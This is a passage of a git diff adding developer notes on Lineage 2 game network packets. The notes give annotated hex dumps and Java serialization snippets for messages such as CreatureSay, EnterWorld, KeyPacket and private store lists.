+01 00 00 00 // sex +00 00 00 00 // race +10 00 00 00 // base cls +01 00 00 00 // 0x01 - active +E8 AA 00 00 \ +58 42 FF FF > x,y,z +E8 FC FF FF / +00 00 00 00 00 06 A6 40 // hp cur +00 00 00 00 00 98 AC 40 // mp cur +39 B9 56 00 // sp +A6 8E F5 0B 00 00 00 00 // exp +3F 00 00 00 // level 63 +00 00 00 00 // karma +00 00 00 00 // pk +02 00 00 00 // pvp +00 00 00 00 \ +00 00 00 00 +00 00 00 00 +00 00 00 00 > 7 zero dwords +00 00 00 00 +00 00 00 00 +00 00 00 00 / +70 25 00 00 \ HAIRALL +39 30 00 00 REAR +32 30 00 00 LEAR +30 30 00 00 NECK +31 30 00 00 RFINGER +31 30 00 00 LFINGER +00 02 00 00 HEAD +C2 2E 00 00 RHAND +00 00 00 00 LHAND +87 16 00 00 GLOVES +67 09 00 00 CHEST +00 00 00 00 LEGS +93 16 00 00 FEET +00 00 00 00 BACK +00 00 00 00 LRHAND +F4 22 00 00 HAIR +00 00 00 00 HAIR2 +75 25 00 00 RBRACELET +00 00 00 00 LBRACELET +00 00 00 00 DECO1 +00 00 00 00 2 +00 00 00 00 3 +00 00 00 00 4 +00 00 00 00 5 +00 00 00 00 6 +00 00 00 00 BELT +02 00 00 00 hStyle +03 00 00 00 hColor +00 00 00 00 face +00 00 00 00 00 06 A6 40 HP max +00 00 00 00 00 98 AC 40 MP max +00 00 00 00 del secs +10 00 00 00 classId +01 00 00 00 1 - last used char +00 enchantEffect +00 00 00 00 aug Id +00 00 00 00 transform id diff --git a/docs/gamepackets/CreatureSay.txt b/docs/gamepackets/CreatureSay.txt new file mode 100644 index 0000000..a18f0e1 --- /dev/null +++ b/docs/gamepackets/CreatureSay.txt @@ -0,0 +1,71 @@ +Server: 4A CreatureSay: len 255 +FF 00 +4A +00 00 00 00 0A 00 00 00 00 00 1D 04 30 04 47 04 J 0 G +30 04 3B 04 41 04 4F 04 20 00 4D 04 32 04 35 04 0 A O M 2 5 +3D 04 42 04 20 00 27 00 43 00 6F 00 66 00 66 00 B C o f f +65 00 72 00 20 00 6F 00 66 00 20 00 53 00 68 00 e r o f S h +61 00 64 00 6F 00 77 00 73 00 27 00 2E 00 20 00 a d o w s +1F 04 3E 04 34 04 40 04 3E 04 31 04 3D 04 3E 04 4 1 +41 04 42 04 38 04 20 00 3C 04 3E 04 36 04 3D 04 A B 8 6 +3E 04 20 00 43 04 37 04 3D 04 30 04 42 04 4C 04 C 7 0 B L +20 00 43 04 20 00 4F 00 6D 00 65 00 67 00 61 00 C O m e g a +27 00 73 00 20 00 43 00 61 00 74 00 2C 00 20 00 s C a t +3A 04 3E 04 42 04 3E 04 40 04 3E 04 33 04 3E 04 B 3 +20 00 12 04 4B 04 20 00 41 04 3C 04 3E 04 36 04 K A 6 +35 04 42 04 35 04 20 00 3D 04 30 04 39 04 42 04 5 B 5 0 9 B +38 04 20 00 32 04 20 00 31 04 3B 04 38 04 36 04 8 2 1 8 6 +30 04 39 04 48 04 35 04 3C 04 20 00 33 04 3E 04 0 9 H 5 3 +40 04 3E 04 34 04 35 04 2E 00 00 00 + +FF 00 // len 255 +4A +00 00 00 00 // objectID +0A 00 00 00 // text Type +00 00 // char name - empty here +1D 04 30 04 47 04 +30 04 3B 04 41 04 4F 04 20 00 4D 04 32 04 35 04 0 A O M 2 5 +3D 04 42 04 20 00 27 00 43 00 6F 00 66 00 66 00 B C o f f +65 00 72 00 20 00 6F 00 66 00 20 00 53 00 68 00 e r o f S h +61 00 64 00 6F 00 77 00 73 00 27 00 2E 00 20 00 a d o w s +1F 04 3E 04 34 04 40 04 3E 04 31 04 3D 04 3E 04 4 1 +41 04 42 04 38 04 20 00 3C 04 3E 04 36 04 3D 04 A B 8 6 +3E 04 20 00 43 04 37 04 3D 04 30 04 42 04 4C 04 C 7 0 B L +20 00 43 04 20 00 4F 00 6D 00 65 00 67 00 61 00 C O m e g a +27 00 73 00 20 00 43 00 61 00 74 00 2C 00 20 00 s C a t +3A 04 3E 04 42 04 3E 04 40 04 3E 04 33 04 3E 04 B 3 +20 00 12 04 4B 04 20 00 41 04 3C 04 3E 04 36 04 K A 6 +35 04 42 04 35 04 20 00 3D 04 30 04 39 04 42 04 5 B 5 0 9 B +38 04 20 00 32 04 20 00 31 04 3B 04 38 04 36 04 8 2 1 8 6 +30 04 39 04 48 04 35 04 3C 04 20 00 33 04 3E 04 0 9 H 5 3 +40 04 3E 04 34 04 35 04 2E 00 00 00 + +[++] Server: 4A CreatureSay: len 93 +5D 00 +4A +00 00 00 00 0A 00 00 00 54 00 58 00 77 00 6B 00 J T X w k +61 00 00 00 14 04 3E 04 31 04 40 04 3E 04 20 00 a 1 +3F 04 3E 04 36 04 30 04 3B 04 3E 04 32 04 30 04 6 0 2 0 +42 04 4C 04 20 00 3D 04 30 04 20 00 41 04 35 04 B L 0 A 5 +40 04 32 04 35 04 40 04 20 00 4E 00 4C 00 20 00 2 5 N L +78 00 31 00 30 00 2E 00 00 00 + +[++] Server: 4A CreatureSay: len 81 +51 00 +4A +00 00 00 00 0A 00 00 00 00 00 1D 04 30 04 47 04 J 0 G +30 04 3B 04 41 04 4F 04 20 00 4D 04 32 04 35 04 0 A O M 2 5 +3D 04 42 04 20 00 27 00 54 00 68 00 65 00 20 00 B T h e +46 00 61 00 6C 00 6C 00 20 00 48 00 61 00 72 00 F a l l H a r +76 00 65 00 73 00 74 00 27 00 2E 00 00 00 + +[++] Server: 4A CreatureSay: len 99 +63 00 +4A +00 00 00 00 0A 00 00 00 00 00 1D 04 30 04 47 04 J 0 G +30 04 3B 04 41 04 4F 04 20 00 4D 04 32 04 35 04 0 A O M 2 5 +3D 04 42 04 20 00 27 00 4C 00 32 00 20 00 4D 00 B L 2 M +65 00 64 00 61 00 6C 00 20 00 43 00 6F 00 6C 00 e d a l C o l +6C 00 65 00 63 00 74 00 69 00 6F 00 6E 00 20 00 l e c t i o n +45 00 76 00 65 00 6E 00 74 00 27 00 2E 00 00 00 E v e n t + diff --git a/docs/gamepackets/Die.txt b/docs/gamepackets/Die.txt new file mode 100644 index 0000000..90920b5 --- /dev/null +++ b/docs/gamepackets/Die.txt @@ -0,0 +1,13 @@ +Server: Len 35 [Die] +23 00 +00 +3F 8E 05 10 // objectID? +01 00 00 00 // 1 - can resurrect to nearest village +00 00 00 00 // 1 - can res to CH +01 00 00 00 // 1 - can res to castle +00 00 00 00 // 1 - can res to siege HQ + +also possible that next will follow: +00 00 00 00 // sweepable (blue glow) +00 00 00 00 // allow fixed res +00 00 00 00 // to fortress diff --git a/docs/gamepackets/EnterWorld.txt b/docs/gamepackets/EnterWorld.txt new file mode 100644 index 0000000..bbf66fa --- /dev/null +++ b/docs/gamepackets/EnterWorld.txt @@ -0,0 +1,78 @@ +Java server ignores all EnterWorld content, parsing unknown :( + +Client: Len 107 +6B 00 +11 +00 00 00 00 +00 00 00 00 +00 00 00 00 +00 00 00 00 +C9 BC F2 A7 +66 5A 0B 98 +36 A5 BD 89 +ED 7F E4 D7 +6B 49 E2 9F +EF 76 EB CE +A3 FA F4 BF +0C 64 A3 B4 +A4 CE DC C6 +08 3E 6E EA +45 CA D3 FE +88 13 87 B8 +06 2C 96 F0 +9B 1E 8E BC +C6 9B 98 C8 +63 16 CF D0 +29 00 00 00 +0A E1 74 17 +0A 08 00 08 +5C 32 BD E1 +5C 32 BE 01 +5C 32 BE 22 + +same char as above: + +Client: Len 107 +6B 00 +11 +00 00 00 00 +00 00 00 00 +00 00 00 00 +00 00 00 00 +C9 BC F2 A7 +66 5A 0B 98 +36 A5 BD 89 +ED 7F E4 D7 +6B 49 E2 9F +EF 76 EB CE +A3 FA F4 BF +0C 64 A3 B4 +A4 CE DC C6 +08 3E 6E EA +45 CA D3 FE +88 13 87 B8 +06 2C 96 F0 +9B 1E 8E BC +C6 9B 98 C8 +63 16 CF D0 +29 00 00 00 +0A E1 74 17 +0A 08 00 08 +5C 32 BD E1 +5C 32 BE 01 +5C 32 BE 22 + +different acc, different char: + +Client: Len 107 +6B 00 +11 +00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +C9 BC F2 A7 66 5A 0B 98 36 A5 BD 89 ED 7F E4 D7 +6B 49 E2 9F EF 76 EB CE A3 FA F4 BF 0C 64 A3 B4 +A4 CE DC C6 08 3E 6E EA 45 CA D3 FE 88 13 87 B8 +06 2C 96 F0 9B 1E 8E BC C6 9B 98 C8 63 16 CF D0 +29 00 00 00 0A E1 74 17 0A 08 00 08 5C 32 BD E1 +5C 32 BE 22 5E 19 03 41 + +last 2 D's are different, depend on char and/or account \ No newline at end of file diff --git a/docs/gamepackets/EtcStatusUpdate.txt b/docs/gamepackets/EtcStatusUpdate.txt new file mode 100644 index 0000000..c65cc72 --- /dev/null +++ b/docs/gamepackets/EtcStatusUpdate.txt @@ -0,0 +1,11 @@ +Server: F9 EtcStatusUpdate: len 35 +23 00 +F9 +00 00 00 00 // 1-7 increase force, lvl +00 00 00 00 // 1-4 weight penalty, lvl (1=50%, 2=66.6%, 3=80%, 4=100%) +00 00 00 00 // 1 = block all chat +00 00 00 00 // 1 = danger area +00 00 00 00 // 1 = grade penalty +00 00 00 00 // 1 = charm of courage (allows resurrection on the same spot upon death on the siege battlefield) +00 00 00 00 // 1-15 death penalty, lvl (combat ability decreased due to death) +00 00 00 00 // _activeChar.getSouls() diff --git a/docs/gamepackets/GameGuard.txt b/docs/gamepackets/GameGuard.txt new file mode 100644 index 0000000..f3e64e0 --- /dev/null +++ b/docs/gamepackets/GameGuard.txt @@ -0,0 +1,9 @@ +Server: Len 19 [GameGuardQuery] +13 00 +74 +D9 3D 53 27 1D A5 72 2E 8B 03 17 20 A3 1E 5B C3 + +Client: Len 19 [GameGuardReply] +13 00 +CB +7F 97 F0 78 04 3C E6 D6 71 0C F6 89 DD 9E 06 70 diff --git a/docs/gamepackets/JoinParty.txt b/docs/gamepackets/JoinParty.txt new file mode 100644 index 0000000..fbe0b23 --- /dev/null +++ b/docs/gamepackets/JoinParty.txt @@ -0,0 +1,10 @@ +Server: Len 7 +07 00 +3A +00 00 00 00 // response + +protected final void writeImpl() +{ + writeC(0x3a); + writeD(_response); +} diff --git a/docs/gamepackets/KeyPacket.txt b/docs/gamepackets/KeyPacket.txt new file mode 100644 index 0000000..8e4873a --- /dev/null +++ b/docs/gamepackets/KeyPacket.txt @@ -0,0 +1,22 @@ +=================================== +L2J +19 00 // p.len 25 +2E // pcode +01 // always const +42 55 77 8F C3 05 69 87 // xorkey first part +01 00 00 00 // always const +01 // possible Game Server ID // on L2J always 01 +00 00 00 00 // always NULLs +00 00 00 00 // in L2J always NULLs - no obfuscation + +========================================== +Retail NCSoft +19 00 // p.len 25 +2E // pcode +01 // always const +42 55 77 8F C3 05 69 87 // xorkey first part +01 00 00 00 // always const +01 // possible Game Server ID - depends on game server ID +00 00 00 00 // always NULLs +XX XX XX XX // always different, non-nulls: opcode obfuscator + \ No newline at end of file diff --git a/docs/gamepackets/Logout.txt b/docs/gamepackets/Logout.txt new file mode 100644 index 0000000..08aa7ee --- /dev/null +++ b/docs/gamepackets/Logout.txt @@ -0,0 +1,8 @@ +Client: Len 3 +03 00 +00 + +send when IN_GAME mode, to disconnect and close client +if restart possible server responds with 0x84 LeaveWorld from IN_GAME mode + +from character selection screen, whe client sends this packet, server just disconencts... TODO: check... \ No newline at end of file diff --git a/docs/gamepackets/MagicSkillUse.txt b/docs/gamepackets/MagicSkillUse.txt new file mode 100644 index 0000000..1611092 --- /dev/null +++ b/docs/gamepackets/MagicSkillUse.txt @@ -0,0 +1,15 @@ +Server: Len 49 [MagicSkillUse] +31 00 +48 +6C 08 00 10 // objectId +AC 16 00 10 // targetObjectId +79 05 00 00 // skillID 1401 - Major HEal +0A 00 00 00 // skillLevel level 10 +57 07 00 00 // hitTime cast time 1879 ms +CF 08 00 00 // reuseDelay 2255 reuse delay +5B AD 00 00 // x +E5 A4 00 00 // y +5D F2 FF FF // z +00 00 00 00 // ?? +00 00 00 00 // ?? +00 00 // ?? diff --git a/docs/gamepackets/MoveToPawn.txt b/docs/gamepackets/MoveToPawn.txt new file mode 100644 index 0000000..8ec8a8a --- /dev/null +++ b/docs/gamepackets/MoveToPawn.txt @@ -0,0 +1,11 @@ +Server: Len 27 [MoveToPawn] +1B 00 +72 // MoveToPawn +6C 08 00 10 // _charObjId // 6C080010 objectID who is moving (can be user at least) +B2 16 00 10 // _targetId // B2160010 is target object id, to which he moves to +39 00 00 00 // _distance wtf is 57?.. +C7 AC 00 00 // x +0A A6 00 00 // y dunno if it is user coordinates or mob coordinates +5D F2 FF FF // z + +possible these are target's coordinates diff --git a/docs/gamepackets/NewCharacter.txt b/docs/gamepackets/NewCharacter.txt new file mode 100644 index 0000000..4b9637b --- /dev/null +++ b/docs/gamepackets/NewCharacter.txt @@ -0,0 +1,3 @@ +Client: Len 3 [NewCharacter] +03 00 // packet length - 3 bytes +13 // opcode \ No newline at end of file diff --git a/docs/gamepackets/NewCharacterSuccess.txt b/docs/gamepackets/NewCharacterSuccess.txt new file mode 100644 index 0000000..f3c4dc7 --- /dev/null +++ b/docs/gamepackets/NewCharacterSuccess.txt @@ -0,0 +1,28 @@ +Server: Len 967 [NewCharacterSuccess] +C7 03 +0D // opcode +0C 00 00 00 // number of templates + +// [ for each template ] + +00 00 00 00 // race +00 00 00 00 // class id +46 00 00 00 // 0x46 +28 00 00 00 // base STR +0A 00 00 00 // 0x0A +46 00 00 00 // 0x46 +1E 00 00 00 // base DEX +0A 00 00 00 +46 00 00 00 +2B 00 00 00 // base CON +0A 00 00 00 +46 00 00 00 +15 00 00 00 // base INT +0A 00 00 00 +46 00 00 00 +0B 00 00 00 // base WIT +0A 00 00 00 +46 00 00 00 +19 00 00 00 // base MEN +0A 00 00 00 + diff --git a/docs/gamepackets/NpcHtmlMessage.txt b/docs/gamepackets/NpcHtmlMessage.txt new file mode 100644 index 0000000..d209106 --- /dev/null +++ b/docs/gamepackets/NpcHtmlMessage.txt @@ -0,0 +1,117 @@ +Server: Len 1503 [NpcHtmlMessage] +DF 05 +19 +AC 16 00 10 // npcObjectID +3C 00 68 00 ... 3E 00 00 00 // html +00 00 00 00 // itemID + +writeC(0x19); +writeD(_npcObjId); +writeS(_html); +writeD(_itemId); + +/** + * + * the HTML parser in the client knowns these standard and non-standard tags and attributes + * VOLUMN + * UNKNOWN + * UL + * U + * TT + * TR + * TITLE + * TEXTCODE + * TEXTAREA + * TD + * TABLE + * SUP + * SUB + * STRIKE + * SPIN + * SELECT + * RIGHT + * PRE + * P + * OPTION + * OL + * MULTIEDIT + * LI + * LEFT + * INPUT + * IMG + * I + * HTML + * H7 + * H6 + * H5 + * H4 + * H3 + * H2 + * H1 + * FONT + * EXTEND + * EDIT + * COMMENT + * COMBOBOX + * CENTER + * BUTTON + * BR + * BODY + * BAR + * ADDRESS + * A + * SEL + * LIST + * VAR + * FORE + * READONL + * ROWS + * VALIGN + * FIXWIDTH + * BORDERCOLORLI + * BORDERCOLORDA + * BORDERCOLOR + * BORDER + * BGCOLOR + * BACKGROUND + * ALIGN + * VALU + * READONLY + * MULTIPLE + * SELECTED + * TYP + * TYPE + * MAXLENGTH + * CHECKED + * SRC + * Y + * X + * QUERYDELAY + * NOSCROLLBAR + * IMGSRC + * B + * FG + * SIZE + * FACE + * COLOR + * DEFFON + * DEFFIXEDFONT + * WIDTH + * VALUE + * TOOLTIP + * NAME + * MIN + * MAX + * HEIGHT + * DISABLED + * ALIGN + * MSG + * LINK + * HREF + * ACTION + * + * + * @version $Revision: 1.3.2.1.2.3 $ $Date: 2005/03/27 15:29:57 $ + */ + +// html code must not exceed 8192 bytes \ No newline at end of file diff --git a/docs/gamepackets/PartySmallWindowAll.txt b/docs/gamepackets/PartySmallWindowAll.txt new file mode 100644 index 0000000..ca04a9a --- /dev/null +++ b/docs/gamepackets/PartySmallWindowAll.txt @@ -0,0 +1,51 @@ +Server: Len 75 +4B 00 +4E +6C 08 00 10 // party leader object id +00 00 00 00 // party loot type +01 00 00 00 // number of members (except you) + +6C 08 00 10 // member oobject id +41 00 65 00 72 00 69 00 6E 00 00 00 // member name +CD 06 00 00 // current cp +CD 06 00 00 // max cp +61 0D 00 00 // current hp +61 0D 00 00 // max hp +7B 0A 00 00 // current mp +7B 0A 00 00 // max mp +50 00 00 00 // level +1E 00 00 00 // class id +00 00 00 00 // constant 00 00 00 00 +01 00 00 00 // race +00 00 00 00 // constant 00 00 00 00 + + + protected final void writeImpl() + { + writeC(0x4e); + writeD(_partyMembers.get(0).getObjectId()); // c3 party leader id + writeD(_partyMembers.get(0).getParty().getLootDistribution());//c3 party loot type (0,1,2,....) + writeD(_partyMembers.size()-1); + + for(L2PcInstance member: _partyMembers) + { + if (member != _exclude) + { + writeD(member.getObjectId()); + writeS(member.getName()); + + writeD((int) member.getCurrentCp()); //c4 + writeD(member.getMaxCp()); //c4 + + writeD((int) member.getCurrentHp()); + writeD(member.getMaxHp()); + writeD((int) member.getCurrentMp()); + writeD(member.getMaxMp()); + writeD(member.getLevel()); + writeD(member.getClassId().getId()); + writeD(0);//writeD(0x01); ?? + writeD(member.getRace().ordinal()); + writeD(0); + } + } + } \ No newline at end of file diff --git a/docs/gamepackets/PrivateStoreListBuy.txt b/docs/gamepackets/PrivateStoreListBuy.txt new file mode 100644 index 0000000..26e0b4e --- /dev/null +++ b/docs/gamepackets/PrivateStoreListBuy.txt @@ -0,0 +1,49 @@ +Server: Len 81 [PrivateStoreListBuy] +51 00 +BE +CE 09 00 10 // buyer oid +EA B0 0B 00 // cur.user adena +01 00 00 00 // sell items count + // for each item +C7 09 00 10 // item oid +F4 25 00 00 // item itemID +00 00 // enchant +02 00 00 00 // count +00 00 00 00 // reference price +00 00 // 00 +00 00 00 00 // body part +05 00 // type2 +01 00 00 00 // buyers price +02 00 00 00 // ma buy amount +FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 // attributes + +writeC(0xbe); +writeD(_objId); // buyer +writeD(_playerAdena); + +writeD(_items.length); + +for (TradeList.TradeItem item : _items) +{ + writeD(item.getObjectId()); + writeD(item.getItem().getItemId()); + writeH(item.getEnchant()); + writeD(item.getCount()); //give max possible sell amount + + writeD(item.getItem().getReferencePrice()); + writeH(0); + + writeD(item.getItem().getBodyPart()); + writeH(item.getItem().getType2()); + writeD(item.getPrice());//buyers price + + writeD(item.getCount()); // maximum possible tradecount + + // T1 + writeD(item.getAttackElementType()); + writeD(item.getAttackElementPower()); + for (byte i = 0; i < 6; i++) + { + writeD(item.getElementDefAttr(i)); + } +} diff --git a/docs/gamepackets/PrivateStoreListSell.txt b/docs/gamepackets/PrivateStoreListSell.txt new file mode 100644 index 0000000..8a4552f --- /dev/null +++ b/docs/gamepackets/PrivateStoreListSell.txt @@ -0,0 +1,67 @@ +Server: Len 85 [PrivateStoreListSell] +55 00 +A1 +CE 09 00 10 // seller oid +00 00 00 00 // is package sale +EB B0 0B 00 // cur.user adena +01 00 00 00 // sell items count + /// for each item +05 00 00 00 // type2 +D0 09 00 10 // item oid +F4 25 00 00 // item itemID +01 00 00 00 // item count +00 00 // 00 +00 00 // enchant +00 00 // 00 +00 00 00 00 // body part +01 00 00 00 // sell price +00 00 00 00 // reference price (original price) +FE FF FF FF // atk attr type +00 00 00 00 // atk attr val +00 00 00 00 // def fire +00 00 00 00 // def water +00 00 00 00 // def wind +00 00 00 00 // def earth +00 00 00 00 // def holy +00 00 00 00 // def dark + + // player's private shop + public PrivateStoreListSell(L2PcInstance player, L2PcInstance storePlayer) + { + _objId = storePlayer.getObjectId(); + _playerAdena = player.getAdena(); + _items = storePlayer.getSellList().getItems(); + _packageSale = storePlayer.getSellList().isPackaged(); + } + + @Override + protected final void writeImpl() + { + writeC(0xa1); + writeD(_objId); + writeD(_packageSale ? 1 : 0); + writeD(_playerAdena); + + writeD(_items.length); + for (TradeList.TradeItem item : _items) + { + writeD(item.getItem().getType2()); + writeD(item.getObjectId()); + writeD(item.getItem().getItemId()); + writeD(item.getCount()); + writeH(0x00); + writeH(item.getEnchant()); + writeH(0x00); + writeD(item.getItem().getBodyPart()); + writeD(item.getPrice()); //your price + writeD(item.getItem().getReferencePrice()); //store price + + // T1 + writeD(item.getAttackElementType()); + writeD(item.getAttackElementPower()); + for (byte i = 0; i < 6; i++) + { + writeD(item.getElementDefAttr(i)); + } + } + } diff --git a/docs/gamepackets/PrivateStoreManageListBuy.txt b/docs/gamepackets/PrivateStoreManageListBuy.txt new file mode 100644 index 0000000..45121a8 --- /dev/null +++ b/docs/gamepackets/PrivateStoreManageListBuy.txt @@ -0,0 +1,4 @@ +Server: Len 451 [PrivateStoreManageListBuy] +C3 01 +BD // pcode +D1 73 02 10 C5 97 06 00 08 00 00 00 E0 02 00 00 00 00 01 00 00 00 90 01 00 00 00 00 00 00 00 00 05 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 61 27 00 00 00 00 01 00 00 00 74 0E 00 00 00 00 00 00 00 00 05 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 25 04 00 00 00 00 6E 00 00 00 4A 01 00 00 00 00 00 00 00 00 05 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6D 0F 00 00 00 00 E8 01 00 00 5A 00 00 00 00 00 00 00 00 00 05 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 07 00 00 00 00 04 00 00 00 B4 00 00 00 00 00 00 00 00 00 05 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 B8 05 00 00 00 00 BC 0E 00 00 0F 00 00 00 00 00 00 00 00 00 05 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 F4 25 00 00 00 00 03 00 00 00 00 00 00 00 00 00 00 00 00 00 05 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3A 11 00 00 00 00 41 00 00 00 00 00 00 00 00 00 00 00 00 00 05 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \ No newline at end of file diff --git a/docs/gamepackets/PrivateStoreManageListSell.txt b/docs/gamepackets/PrivateStoreManageListSell.txt new file mode 100644 index 0000000..a0485e5 --- /dev/null +++ b/docs/gamepackets/PrivateStoreManageListSell.txt @@ -0,0 +1,59 @@ +/** + * 3 section to this packet + * 1)playerinfo which is always sent + * 2)list of items which can be added to sell + * 3)list of items which have already been setup + */ + +Server: Len 2255 [PrivateStoreManageListSell] +CF 08 +A0 // pcode + +// section 1 + +09 A5 04 10 // player (user) objectID +00 00 00 00 // is package sale +87 C1 00 00 // player (user) adena + +// section 2 + +24 00 00 00 // items count in section 2 + [[ for each item ]] +05 00 00 00 // type2 +39 D6 05 10 // objectID +B2 05 00 00 // itemID +2E 00 00 00 // count +00 00 // 00 +00 00 // enchant +00 00 // 00 +00 00 00 00 // body part +8A 02 00 00 // store price +FE FF FF FF // atk attr type +00 00 00 00 // atk attr val +00 00 00 00 // fire def +00 00 00 00 // water def +00 00 00 00 // wind def +00 00 00 00 // earth def +00 00 00 00 // holy def +00 00 00 00 // dark def + +// section 2 +00 00 00 00 // items count in section 3 +D // type2 +D // oid +D // itemID +D // cnt +H // 0 +H // ench +H // 0 +D // b.part +D // your price +D // referencePrice (store price) +FE FF FF FF // atk attr type +00 00 00 00 // atk attr val +00 00 00 00 // fire def +00 00 00 00 // water def +00 00 00 00 // wind def +00 00 00 00 // earth def +00 00 00 00 // holy def +00 00 00 00 // dark def diff --git a/docs/gamepackets/PrivateStoreMsgBuy.txt b/docs/gamepackets/PrivateStoreMsgBuy.txt new file mode 100644 index 0000000..2bbf494 --- /dev/null +++ b/docs/gamepackets/PrivateStoreMsgBuy.txt @@ -0,0 +1,13 @@ +Server: Len 45 [PrivateStoreMsgBuy] +2D 00 +BF +99 73 06 10 // objectID +6B 00 61 00 ... 00 00 // store msg + + +protected final void writeImpl() +{ + writeC(0xbf); + writeD(_objId); + writeS(_storeMsg); +} diff --git a/docs/gamepackets/ProtocolVersion-l2emu_client_t1.txt b/docs/gamepackets/ProtocolVersion-l2emu_client_t1.txt new file mode 100644 index 0000000..5f1143b --- /dev/null +++ b/docs/gamepackets/ProtocolVersion-l2emu_client_t1.txt @@ -0,0 +1,21 @@ +C->S +0B 01 // len +0E // p.code ProtocolVersion +3C 03 00 00 // protocol - 828 +09 07 54 56 03 09 0B 01 07 02 54 54 56 07 00 02 +55 56 00 51 00 53 57 04 07 55 08 54 01 07 01 53 +00 56 55 56 01 06 05 04 51 03 08 51 08 51 56 04 +54 06 55 08 02 09 51 56 01 53 06 55 04 53 00 56 +56 53 01 09 02 09 01 51 54 51 09 55 56 09 03 04 +07 05 55 04 06 55 04 06 09 04 51 01 08 08 06 05 +52 06 04 01 07 54 03 06 52 55 06 55 55 51 01 02 +04 54 03 55 54 01 57 51 55 05 52 05 54 07 51 51 +55 07 02 53 53 00 52 05 52 07 01 54 00 03 05 05 +08 06 05 05 06 03 00 0D 08 01 07 09 03 51 03 07 +53 09 51 06 07 54 0A 50 56 02 52 04 05 55 51 02 +53 00 08 54 04 52 56 06 02 09 00 08 03 53 56 01 +05 00 55 06 08 56 04 0D 06 07 52 06 07 04 0A 06 +01 04 54 04 00 05 02 04 54 00 09 52 53 05 04 01 +04 05 05 01 52 51 52 0D 06 51 08 09 54 53 00 0D +01 02 03 54 53 01 05 03 08 56 54 07 02 54 0B 06 +8D 71 5F 08 \ No newline at end of file diff --git a/docs/gamepackets/ProtocolVersion_GraciaEpilogue.txt b/docs/gamepackets/ProtocolVersion_GraciaEpilogue.txt new file mode 100644 index 0000000..52b595f --- /dev/null +++ b/docs/gamepackets/ProtocolVersion_GraciaEpilogue.txt @@ -0,0 +1,20 @@ +0B 01 // len +0E +92 00 00 00 +09 07 54 56 03 09 0B 01 07 02 54 54 56 07 00 02 +55 56 00 51 00 53 57 04 07 55 08 54 01 07 01 53 +00 56 55 56 01 06 05 04 51 03 08 51 08 51 56 04 +54 06 55 08 02 09 51 56 01 53 06 55 04 53 00 56 +56 53 01 09 02 09 01 51 54 51 09 55 56 09 03 04 +07 05 55 04 06 55 04 06 09 04 51 01 08 08 06 05 +52 06 04 01 07 54 03 06 52 55 06 55 55 51 01 02 +04 54 03 55 54 01 57 51 55 05 52 05 54 07 51 51 +55 07 02 53 53 00 52 05 52 07 01 54 00 03 05 05 +08 06 05 05 06 03 00 0D 08 01 07 09 03 51 03 07 +53 09 51 06 07 54 0A 50 56 02 52 04 05 55 51 02 +53 00 08 54 04 52 56 06 02 09 00 08 03 53 56 01 +05 00 55 06 08 56 04 0D 06 07 52 06 07 04 0A 06 +01 04 54 04 00 05 02 04 54 00 09 52 53 05 04 01 +04 05 05 01 52 51 52 0D 06 51 08 09 54 53 00 0D +01 02 03 54 53 01 05 03 08 56 54 07 02 54 0B 06 +A6 23 F4 FE \ No newline at end of file diff --git a/docs/gamepackets/ProtocolVersion_GraciaPart2.txt b/docs/gamepackets/ProtocolVersion_GraciaPart2.txt new file mode 100644 index 0000000..28ea342 --- /dev/null +++ b/docs/gamepackets/ProtocolVersion_GraciaPart2.txt @@ -0,0 +1,20 @@ +0B 01 +0E +0C 00 00 00 +09 07 54 56 03 09 0B 01 07 02 54 54 56 07 00 02 +55 56 00 51 00 53 57 04 07 55 08 54 01 07 01 53 +00 56 55 56 01 06 05 04 51 03 08 51 08 51 56 04 +54 06 55 08 02 09 51 56 01 53 06 55 04 53 00 56 +56 53 01 09 02 09 01 51 54 51 09 55 56 09 03 04 +07 05 55 04 06 55 04 06 09 04 51 01 08 08 06 05 +52 06 04 01 07 54 03 06 52 55 06 55 55 51 01 02 +04 54 03 55 54 01 57 51 55 05 52 05 54 07 51 51 +55 07 02 53 53 00 52 05 52 07 01 54 00 03 05 05 +08 06 05 05 06 03 00 0D 08 01 07 09 03 51 03 07 +53 09 51 06 07 54 0A 50 56 02 52 04 05 55 51 02 +53 00 08 54 04 52 56 06 02 09 00 08 03 53 56 01 +05 00 55 06 08 56 04 0D 06 07 52 06 07 04 0A 06 +01 04 54 04 00 05 02 04 54 00 09 52 53 05 04 01 +04 05 05 01 52 51 52 0D 06 51 08 09 54 53 00 0D +01 02 03 54 53 01 05 03 08 56 54 07 02 54 0B 06 +EB EF 3D E6 \ No newline at end of file diff --git a/docs/gamepackets/ProtocolVersion_HellboundClient.txt b/docs/gamepackets/ProtocolVersion_HellboundClient.txt new file mode 100644 index 0000000..1e24597 --- /dev/null +++ b/docs/gamepackets/ProtocolVersion_HellboundClient.txt @@ -0,0 +1,21 @@ +C->S Len 267 +0B 01 // len +0E // p. code +3F 03 00 00 // protocol - 831 (Hellbound?) +09 07 54 56 03 09 0B 01 07 02 54 54 56 07 00 02 +55 56 00 51 00 53 57 04 07 55 08 54 01 07 01 53 +00 56 55 56 01 06 05 04 51 03 08 51 08 51 56 04 +54 06 55 08 02 09 51 56 01 53 06 55 04 53 00 56 +56 53 01 09 02 09 01 51 54 51 09 55 56 09 03 04 +07 05 55 04 06 55 04 06 09 04 51 01 08 08 06 05 +52 06 04 01 07 54 03 06 52 55 06 55 55 51 01 02 